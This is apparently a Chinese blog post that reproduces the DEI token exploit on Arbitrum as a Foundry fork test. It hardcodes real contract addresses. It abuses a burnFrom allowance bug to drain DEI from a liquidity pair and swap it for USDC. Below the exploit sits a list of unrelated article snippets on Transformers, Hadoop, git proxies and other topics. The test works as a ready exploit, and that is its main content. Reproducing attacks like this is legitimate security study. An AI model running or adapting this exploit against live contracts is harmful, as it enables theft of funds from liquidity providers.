智能合约漏洞案例,DEI 漏洞复现
智能合约漏洞案例,DEI 漏洞复现
1. 漏洞简介
https://twitter.com/eugenioclrc/status/1654576296507088906

2. 相关地址或交易
https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易
3. 获利分析

5. 漏洞复现
pragma solidity ^0.8.10;//import "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";interface DEI {function burnFrom(address account, uint256 amount) external;
}interface AMM {function sync() external;function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);}contract ContractTest is Test{address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);function setUp() public {cheats.createSelectFork("arbitrum", 87626026 -2);//uint256 forkId = cheats.createFork("bsc");//cheats.selectFork(forkId);}function testExploit() external {IERC20(dei).approve(victim,type(uint256).max);DEI(dei).burnFrom(victim, 0);emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);uint256 victimNum = IERC20(dei).balanceOf(victim);emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);IERC20(dei).transferFrom(victim,address(this),victimNum-1);AMM(victim).sync();emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);emit log_named_decimal_uint("outNUm is :",outNum, 18);IERC20(dei).transfer(victim,victimNum-1);AMM(victim).swap(0, outNum, address(this), "");emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);}
}
相关文章:
智能合约漏洞案例,DEI 漏洞复现
智能合约漏洞案例,DEI 漏洞复现 1. 漏洞简介 https://twitter.com/eugenioclrc/status/1654576296507088906 2. 相关地址或交易 https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易 3. …...
Attention is all you need 论文笔记
该论文引入Transformer,主要核心是自注意力机制,自注意力(Self-Attention)机制是一种可以考虑输入序列中所有位置信息的机制。 RNN介绍 引入RNN为了更好的处理序列信息,比如我 吃 苹果,前后的输入之间是有…...
Hdoop伪分布式集群搭建
文章目录 Hadoop安装部署前言1.环境2.步骤3.效果图 具体步骤(一)前期准备(1)ping外网(2)配置主机名(3)配置时钟同步(4)关闭防火墙 (二)…...
java临时文件
临时文件 有时候,我们程序运行时需要产生中间文件,但是这些文件只是临时用途,并不做长久保存。 我们可以使用临时文件,不需要长久保存。 public static File createTempFile(String prefix, String suffix)prefix 前缀 suffix …...
C++中的<string>头文件 和 <cstring>头文件简介
C中的<string>头文件 和 <cstring>头文件简介 在C中<string> 和 <cstring> 是两个不同的头文件。 <string> 是C标准库中的头文件,定义了一个名为std::string的类,提供了对字符串的操作如size()、length()、empty() 及字…...
安装MySQL
Centos7下安装MySQL详细步骤_centos7安装mysql教程_欢欢李的博客-CSDN博客...
输入学生成绩,函数返回最大元素的数组下标,求最高分学生成绩(输入负数表示输入结束)
scanfscore()函数用于输入学生的成绩 int scanfscore(int score[N])//输入学生的成绩 {int i -1;do {i;printf("输入学生成绩:");scanf("%d", &score[i]);} while (score[i] > 0);return i; } findmax()用于寻找最大值 int findmax(int score[N…...
常用音频接口:TDM,PDM,I2S,PCM
常用音频接口:TDM,PDM,I2S,PCM_tdm音频_沙漠的甲壳虫的博客-CSDN博客 I2S/PCM接口及音频codec_音频pcm接口模块设计-CSDN博客 2个TDM8功放调试ing_周龙(AI湖湘学派)的博客-CSDN博客 数字音频接口时序----IIS、TDM、PCM、PDM_td…...
git clone报错Failed to connect to github.com port 443 after 21055 ms:
git 设置代理端口号 git config --global http.proxy http://127.0.0.1:10085 和 git config --global https.proxy http://127.0.0.1:10085 然后就可以成功git clone hugging face的数据集了 如果是https://huggingface.co/datasets/shibing624/medical/tree/main 那么…...
【操作系统】深入浅出死锁问题
死锁的概念 在多线程编程中,我们为了防止多线程竞争共享资源而导致数据错乱,都会在操作共享资源而导致数据错乱,都会在操作共享资源之前加上互斥锁,只有成功获得到锁的线程,才能操作共享资源,获取不到锁的…...
springboot实现webSocket服务端和客户端demo
1:pom导入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId><version>2.2.7.RELEASE</version></dependency>2:myWebSocketClien…...
代码走读: FFMPEG-ffplayer02
AVFrame int attribute_align_arg avcodec_receive_frame(AVCodecContext *avctx, AVFrame *frame) 选取一个音频解码器 和 一个视频解码器分别介绍该解码器功能 音频G722 g722dec.c -> g722_decode_frame 通过 ff_get_buffer 给 传入的 frame 指针分配内存 g722_decode_…...
【数据结构】——排序算法的相关习题
目录 一、选择题题型一 (插入排序)1、直接插入排序2、折半插入排序3、希尔排序 题型二(交换排序)1、冒泡排序2、快速排序 题型三(选择排序)1、简单选择排序~2、堆排序 ~题型四(归并排序…...
C高级day5(Makefile)
一、Xmind整理: 二、上课笔记整理: 1.#----->把带参宏的参数替换成字符串 #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX(a,b) a>b?a:b #define STR(n) #n int main(int argc, const char *argv…...
Android 系统中适配OAID获取
一、OAID概念 OAID(Open Anonymous Identification)是一种匿名身份识别标识符, 用于在移动设备上进行广告追踪和个性化广告投放。它是由中国移动通信集 团、中国电信集团和中国联通集团共同推出的一项行业标准 OAID值为一个64位的数字 二、…...
差分数组leetcode 2770 数组的最大美丽值
什么是差分数组 差分数组是一种数据结构,它存储的是一个数组每个相邻元素的差值。换句话说,给定一个数组arr[],其对应的差分数组diff[]将满足: diff[i] arr[i1] - arr[i] 对于所有 0 < i < n-1 差分数组的作用 用于高效…...
请求响应状态码
请求与响应&状态码 Requests部分 请求行、消息报头、请求正文。 Header解释示例Accept指定客户端能够接收的内容类型Accept: text/plain, text/htmlAccept-Chars et浏览器可以接受的字符编码集。Accept-Charset: iso-8859-5Accept-Encodi ng指定浏览器可以支持的web服务…...
安卓机型系统美化 Color.xml文件必备常识 自定义颜色资源
color.xml文件是Android工程中用来进行颜色资源管理的文件.可以在color.xml文件中通过<color>标签来定义颜色资源.我们在布局文件中、代码中、style定义中或者其他资源文件中,都可以引用之前在color.xml文件中定义的颜色资源。 将color.xml文件拷到res/value…...
YOLO物体检测-系列教程1:YOLOV1整体解读(预选框/置信度/分类任/回归任务/损失函数/公式解析/置信度/非极大值抑制)
🎈🎈🎈YOLO 系列教程 总目录 YOLOV1整体解读 YOLOV2整体解读 YOLOV1提出论文:You Only Look Once: Unified, Real-Time Object Detection 1、物体检测经典方法 two-stage(两阶段):Faster-rc…...
2023/9/12 -- C++/QT
作业 实现一个图形类(Shape),包含受保护成员属性:周长、面积, 公共成员函数:特殊成员函数书写 定义一个圆形类(Circle),继承自图形类,包含私有属性…...
基于 HarmonyOS 6.0 的智能记账页面开发实践:ArkUI 页面构建与跨端设计深度解析
基于 HarmonyOS 6.0 的智能记账页面开发实践:ArkUI 页面构建与跨端设计深度解析 前言 随着 HarmonyOS 6.0 的持续演进,鸿蒙生态已经不再局限于传统移动端开发,而是逐渐形成覆盖手机、平板、智慧屏、车机以及 IoT 设备的全场景开发体系。相比传…...
基于RAG的代码知识库构建:从原理到本地部署实战
1. 项目概述:当代码库成为知识库,我们如何精准“提问”?最近在跟几个做AI应用开发的朋友聊天,大家普遍有个痛点:项目代码越堆越多,文档要么不全要么过时,新来的同事想了解某个模块的逻辑&#x…...
Turbo模式究竟值不值得升级?20年AIGC架构师给出硬核答案:当并发请求>17qps时,ROI暴跌41%——附压测脚本与决策矩阵
更多请点击: https://intelliparadigm.com 第一章:Turbo模式究竟值不值得升级?20年AIGC架构师给出硬核答案:当并发请求>17qps时,ROI暴跌41%——附压测脚本与决策矩阵 Turbo模式在LLM服务网关中常被宣传为“…...
企业内训系统集成AI助教时如何通过Taotoken实现用量审计与风控
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 企业内训系统集成AI助教时如何通过Taotoken实现用量审计与风控 当企业将大模型能力以AI助教的形式集成到内部学习平台时࿰…...
Logo设计全流程指南:从品牌定位到视觉落地的核心逻辑
初创企业团队常面临标志图形难以传递核心业务的现实困境。脱离市场认知的视觉符号会导致后续传播成本成倍增加。本文系统拆解标志构建的标准作业路径,提供可量化验证的参数指标与执行清单。读者可依据本框架完成从抽象概念到商用矢量文件的完整转化。有效规避重复试…...
3PEAK思瑞浦 TPA1831-SO1R SOP8 运算放大器
特性 供电电压:4伏至30伏 低功耗:典型值在25C时为140A 低失调电压:在25C时最大士7V .零漂:0.01V/C 轨到轨输出 增益带宽积:1.1MHz 斜率:0.7V/us...
jank:基于LLVM的Clojure方言,实现原生编译与C++无缝互操作
1. 项目概述:当Clojure拥抱LLVM如果你和我一样,既沉迷于Clojure那种简洁、优雅、函数式的编程体验,又时常对JVM的启动时间、内存占用,或者与底层系统交互时的“隔靴搔痒”感到一丝无奈,那么jank的出现,无疑…...
BlocPad CLI:为AI编程助手提供结构化上下文的工程实践
1. 项目概述:BlocPad CLI,一个为工程智能体设计的上下文驱动工具如果你和我一样,日常开发中深度依赖像 Cursor、Claude Code 或 GitHub Copilot 这类 AI 编程助手,那你肯定也遇到过这样的困境:如何让 AI 助手清晰地理解…...
Armv8-A架构ID_ISAR寄存器详解与应用优化
1. Armv8-A架构ID_ISAR寄存器概述在Armv8-A架构中,ID_ISAR(Instruction Set Attribute Register)系列寄存器是理解处理器指令集特性的关键窗口。作为一位长期从事Arm架构开发的工程师,我发现这些寄存器在实际开发中经常被低估&…...
Verilog仿真调试实战:用$realtime精准追踪你的信号延迟(附Modelsim/VCS示例)
Verilog仿真调试实战:用$realtime精准追踪信号延迟 在数字电路设计中,时序问题往往是导致功能异常的头号杀手。当你的设计运行在GHz级别的时钟频率下,或者需要与模拟电路进行精确协同工作时,纳秒甚至皮秒级的时序偏差都可能引发灾…...
